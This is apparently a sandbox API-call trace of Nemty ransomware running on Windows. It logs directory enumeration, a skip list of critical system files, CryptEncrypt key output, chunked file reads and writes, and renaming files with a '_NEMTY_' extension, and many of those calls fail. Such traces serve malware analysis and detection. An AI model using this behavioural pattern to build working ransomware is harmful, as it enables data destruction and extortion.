0 [0120.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.912] CloseHandle (hObject=0xffffffff) returned 0 [0120.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0120.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png._nemty_kgobjgd_")) returned 0 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.912] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0120.912] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".") returned 1 [0120.912] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="..") returned 1 [0120.912] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="...") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="windows") returned -1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="$RECYCLE.BIN") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="rsa") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="NTDETECT.COM") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="ntldr") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="MSDOS.SYS") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="IO.SYS") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="boot.ini") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="boot.ini") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="ntuser.dat") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="desktop.ini") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="CONFIG.SYS") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="RECYCLER") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="BOOTSECT.BAK") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="bootmgr") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="programdata") returned 1 [0120.913] lstrcmpiW (lpString1="spacer_highlights.png", lpString2="appdata") returned 1 [0120.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0120.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spacer_highlights.png", lpUsedDefaultChar=0x0) returned 21 [0120.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0120.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0120.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spacer_highlights.png", lpUsedDefaultChar=0x0) returned 21 [0120.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0120.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0120.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spacer_highlights.png", lpUsedDefaultChar=0x0) returned 21 [0120.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0120.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spacer_highlights.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spacer_highlights.png", lpUsedDefaultChar=0x0) returned 21 [0120.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.914] Sleep (dwMilliseconds=0x5) [0120.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbb9e7b0, dwHighDateTime=0x1d561e7)) [0120.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbb9e7b0, dwHighDateTime=0x1d561e7)) [0120.929] GetLastError () returned 0x5 [0120.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.929] GetLastError () returned 0x5 [0120.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.929] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.929] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="HmKJINs8VgreaVYuHQnHU9AE0fSeuiNEBImz2ZNeKqaFDW4u0QedfpQ0BKBzitow\r\nRMj+Q+IRfQ6gORD+qnn9ESdMO/Pek+FFVavKMuvr30RgdAkuFhGmnoCLufyfN12b\r\npaNEdMnMCuBq7tDcKDAz1fwQTW3Ne2Y8VU8jCm/q9QZDFBQQF5UN/bLmR9oaZhzT\r\nop0nAH3/MhW3jI/IXJkU5uejW3CVAUVbyv/Happwf5y9nXnu1IvRW+jV6mGBlj2N\r\nbtwoUQH0eY0psA8/mt+ENUz5lQEp4KpBv/CswwmVnTWbLZzBinulEKaDIr2ui8JC\r\nSDO0BJ6Fw4smCnDbIvGyiQ==\r\n", pcchString=0x653e91c) returned 1 [0120.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.930] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.930] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.037] CloseHandle (hObject=0xffffffff) returned 0 [0121.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0121.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0121.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 